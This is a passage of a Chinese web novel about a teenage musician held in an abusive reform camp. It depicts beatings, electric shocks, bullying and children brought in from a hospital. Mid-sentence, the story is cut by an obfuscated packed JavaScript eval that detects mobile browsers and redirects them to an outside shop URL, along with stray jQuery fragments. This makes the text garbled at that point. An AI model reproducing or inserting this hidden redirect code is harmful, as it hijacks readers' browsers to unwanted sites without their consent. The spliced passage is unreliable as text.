男生宿舍在一号楼，大通铺，三十多人一间，上下铺并在一起。床单单薄，被子硬邦邦的，一股霉味。我进去时，所有人都睡着了，或者说是闭着眼装睡，反正不敢抬头来看。


    “你睡这儿。”刘教官指了指一张空下铺，“明天五点起床，五点十分必须到操场集合。迟到一秒钟，后果自负。”


    说完他就走了，我在床上躺下，床板硌得慌。余光瞥见旁边下铺的男生偷偷睁开一条缝看我。


    我伸手越过栏杆，碰了碰他，还没来得及说话，就听见那男生小声说：“你动静小点，教官也睡这里。”


    我扭头看门口那边，才发现还有几张床铺铺着不一样的被子，几个教官躺着，其中一个还睁着眼，正要往这里看。


    我连忙缩回手躺下去，透过上铺的缝隙能看见一点天花板，天花板很矮，白灰剥落，露出一块一块水泥底子。月光从高处的铁栅栏窗户照进来，在地上切出几道光。


    过了一会儿，我小声问：“兄弟，你怎么来这儿的？”


    “网瘾，加混混。”他直接开口，“来这儿的要不就是混子，要不就是同性恋，要不就是心理有毛病的，你是啥？”


    “……叛逆？厌学？”我想了想。


    那男生说道：“你就做好过苦日子的准备吧。”


    我那时候心高气傲，哪儿能想到以后会发生什么：“教官说听话就能出去，我顶多在这儿呆两周。”


    他冷笑一声，没再说话。


    现在想起来那时候的我，我也想笑。


    但我当时是真信，信听话就能出去，信只要装得够乖，够顺从，就能回到原来的生活，继续弹吉他，继续跟李腾他们在烂尾楼里吼歌。我以为我会像电影里的英雄一样，忍辱负重两周，然后潇洒离开。


    第二天，我正式在竹翰学院生活。


    早上五点起床，去操场站两小时，不能动，不能晃。七点吃早饭。上午上课，就是《弟子规》、《孝经》什么的，背不下来就挨揍。下午军训，站军姿，走正步，跑圈，教官经常过来踢人。晚上睡觉时间不定，教官心情好，十一点熄灯，心情不好，拉到操场上跑步，两三点再回去。


    一人犯错，全体受罚。大冬天用冰水往身上浇，大夏天在烈日下站一整天。鞭子抽在身上皮开肉绽，我亲眼看见一个学员被抽得呼吸困难，他身边的瓷砖地板都裂了缝。


    吃的饭里经常能看见铁丝和虫子，不吃不行，闹绝食更不行。当时三班来了个新学员，绝食了三天，被黄教官单手拎起来，一脚踹到食堂另一头的餐桌上。几个助教把他头摁地上，抡起棍子就打。打了三天，他趴在地上吐血，被拉去打营养液，后来就跟我们一起老老实实吃饭了。


    周围被高压电网围着，有人逃跑，就会被电下来。学校里有电击室和禁闭室，禁闭室里只有监控摄像头，还有老鼠和蟑螂，我有幸进去过一回。


    “听话就能出去”这句话我信了一天有一天，我对着教官点头哈腰，他们骂我我还得笑着说“谢谢教官教诲”。我当了一个月的够狗，还拿到了“进步之星”，有些老学员看我的眼神越来越怪，像看畜生，我不在乎，我很快就能出去，远走高飞了，管他们呢。


    那天晚上我兴奋得睡不着，以为自己明天就能出去。我那么听话，让干啥干啥，辱骂我都弯腰道谢，给教官当狗当得毫无尊严，不就是为了早点出去吗？


    第二天一睁眼，还是竹翰学院的上铺。


    我当狗的样子被几个老学员看见了，某天晚上我上厕所，被他们堵住了。


    五个人把我围在墙角，为首的是个高个子，比我高半个头。


    “听说你很会舔啊？”他掐着我脖子，把我摁墙上，“教官的鞋是不是都被你舔干净了？真乖啊，随歌。”


    我喘不过气，眼前一片花白。


    另外几个人笑起来，其中一个矮个子掏出打火机，点燃一支烟，吸了一口，然后把烟头按在我胳膊上。我疼得浑身一颤，但脖子被掐着，叫不出声。


    “你不是喜欢当狗吗？”那人松开一点，让我喘口气，“来，跪下来狗叫几声，我们就放过你。”


    我跪倒在地上，捂着脖子大口呼吸，耳朵开始耳鸣。


    学狗叫？怎么可能？我死也不叫。


    “手挺好看。”没等我反应过来，其中一个人盯着我的右手，忽然笑道：“听说你来之前是玩乐队的？那你的手肯定很重要吧？”


    我心里一咯噔，爬起来就要跑，两个人上来又按着我的肩膀，把我脸朝下重重按在地板瓷砖上。为首的高个子踩住的我右手，用鞋底碾着我的手指。恨疼，钻心的疼。


    他又碾了一下，我听见自己手指关节咔吧响了一声。


    真的，我真的怕了。


    无论如何，都不能动我的手。只要我的手还在，我的未来就还在。


    我哑着嗓子叫了两声，他们松开我，大笑起来，像听到了世界上最好笑的笑话。临走前踹了我一脚：“以后见我们一次叫一次，听见没？”


    我趴在地上，等他们走了，才慢慢爬起来。右手手指肿了，动一下都疼，但应该没骨折。我走到洗手池边，拧开水龙头，没有水。


    我便抬头去看镜子里的自己，脸色惨白，眼睛里有血丝。我看着自己，忽然觉得陌生。


    这是我吗？那个抱着吉他唱歌的随歌？那个有一百多万粉丝的随歌？那个说要带着乐队去星竞晚会的随歌？


    这里每个月会给家长写信报平安，都是教官念我们写，没有任何机会给家长求救。之前一班有个学员在信里面偷偷写了求救的话，被教官发现了，进了电击室。一整个晚上，我们宿舍都能听见他的惨叫，所有人都睁着眼不敢睡。


    我受不了了，我跪下来给刘教官磕头，边磕边哭，我求他放我走。我真的崩溃了，我装不下去了，在这里每一天都是煎熬，看不到尽头，我怕我再呆下去，会真的变成一条狗。


    刘教官没说话，继续抽烟。我跪着往前挪，眼泪留下来：“教官，求您了，我想回家……让我回家好不好？我想我妈……”


    他忽然抬起腿，一脚将我踹翻在地上，又走过来抓着我的头发逼我抬起头，看着我恶狠狠道：“怎么？装这么久，装不下去了？平时不是说什么要留在这里乖乖听话吗？这才一个多月，就想走了？”


    他的手指很粗糙，抓得我头皮生疼，刚刚被踹的胸口也疼。我见过他发脾气的样子，此时此刻近距离看着他充满怒气的面容，吓得浑身一僵，大脑一片空白，也顾不上哭了，推开他爬起来就跑。他在后面笑，幸好没追上来扇我。


    那天之后，我见到他就躲。


    我开始失眠，夜里睁着眼看着黑暗，想家，想乐队，想那场没参加的比赛。李腾他们去了吗？成绩怎么样？《Bitter Dawn》还能唱吗？


    时间变得模糊，日复一日的训练、挨打、背诵、写信。季节变化只有从窗户看到的树叶子颜色能分辨，春天来了，又走了。


    我很少再想家了，偶尔想起来，也只是个模糊的概念。父母的脸在记忆中淡了，有时候夜里努力回想，却只记得我爸妈离我而去的背影。


    该恨他们吗？我不知道，或许是我太淘气，他们实在没办法，才能把我囚禁在这里。我恨他们也没用，还是出不去。


    我也很久没弹吉他了，乐队、音乐、星竞晚会，仿佛都成了上辈子的事。


    十二月份的时候，北京下了第一场雪。我们在操场夜训，雪花落在睫毛上，化成水。学院门口停了一辆没有牌照的大巴。车门打开


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231672|177773||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，下来了一群穿着病号服的孩子。


    “都给我看清楚！”一个穿白大褂男人吼道，“这就是不听话的下场！”


    我一脸懵地看着这一幕，那些病人被分散带到各个班级，观看教官的“下马威”。我们班分到了其中一个小姑娘。


    她大概十四五岁，很瘦，头发长长的。当时几个助教正在殴打我们班没站直的学生，她面无表情地站在前面看着，像早就习惯，甚至经常经历这种场面。


    过了一会儿，我们班一个女生撑不住了，腿一软跪在地上。刘教官抬起腿就踹，那女孩忽然挪了一下，偷偷帮她挡了几下。趁着教官不注意，她弯下腰抚起学员，垂眼低声说了句什么，学员哭着点头。


    后来我知道她叫初与序。


    那些人只待了半小时就被带回大巴车上，走的时候，初与序回头看了我们一眼，便上了车。


    我以为只会见到她一次，但一周后，初与序又被送来了，还换上了黑白校服，进了我们二班。


    直到这时，我才发现她没表面上那么听话，刚来第一天，就破了学员挨打记录——一天被揍三次，和教官自由搏击，我们班有几个人差点都被她带起反抗了，当然没成功。


    那时她性格还是很开朗温柔的，我在永冬之城的前几次循环里，见到的她就和当时差不多。


    那天晚上在食堂，我偷偷凑过去：“Hi，你怎么又来了？”


    她看了我一眼，扬了扬眉毛：“和别人越狱失败，被送过来……体验？应该可以这么说。”


    “体验？就这么送过来了？”我惊讶道，“待多久？”


    “就一天。”


    果然，第二天她就被大巴接走了。


    后来在永冬之城我明白过来了，竹翰学院和善佑医院他妈是一伙的，医院的孩子不听话，就会被送到这儿来待一天，回去时保证听话。


    我在竹翰学院又继续呆，春夏秋冬，操场上的草枯了又绿，绿了又枯。学员们有的出去了，有的转去了别的班，有的……不见了。


    来这儿第二年，五月份的时候，我另一边空床铺来了新人。


    他也是半夜被送来的，棕色头发，戴着花里胡哨的耳钉，只不过手脚被绑着。刘教官把他扔在床上，看他暂时不挣扎了，解开绳子。下一秒他就猛地从床上弹起来，拔腿就往门口冲。


    结果当然是被按住了，三个教官围着他打，他趴在地上，还在骂人：“去你大爷的戒同所！给老子放……放开！我对象还在外面等我！放老子出去！”


    勇气可嘉。我当时已经有些麻木了，躺在床上面无表情地看着，心想这人只要待两周，就知道什么叫人间险恶了。


    后来他被拖进了电击室，叫了一整晚，先是骂，后来是惨叫，再后来没声了，只有电击的滋啦滋啦声，断断续续。


    第二天早上，他被人架着来到教室，扔在我旁边的座位上。我扫了他一眼，他脸上全是伤，青一块紫一块，血都还没干。


    教官让他坐下听课，讲《孝经》。他坐得笔直，但明显不再听，看看窗外，看看天花板，就是不看黑板，和我当年上学的得一拼。


    课间休息时，我小声道：“别看了，跑不掉的。”


    他扭头看我，咧嘴一笑，“你也是被抓进来的？”


    “嗯。”


    “因为啥？”


    “厌学，搞乐队。”我说。


    “我是同性恋。”他自然道，“我还有对象呢，高富帅，就是冷冰冰的。”


    我愣了愣，他看我表情，笑道：“怎么？没见过同性恋？”


    “见过，但……”


    “但没想到这么帅？”他挑了挑眉。


    我忍不住笑了，我觉得他真的和以前的我有点像，也是这么不要脸。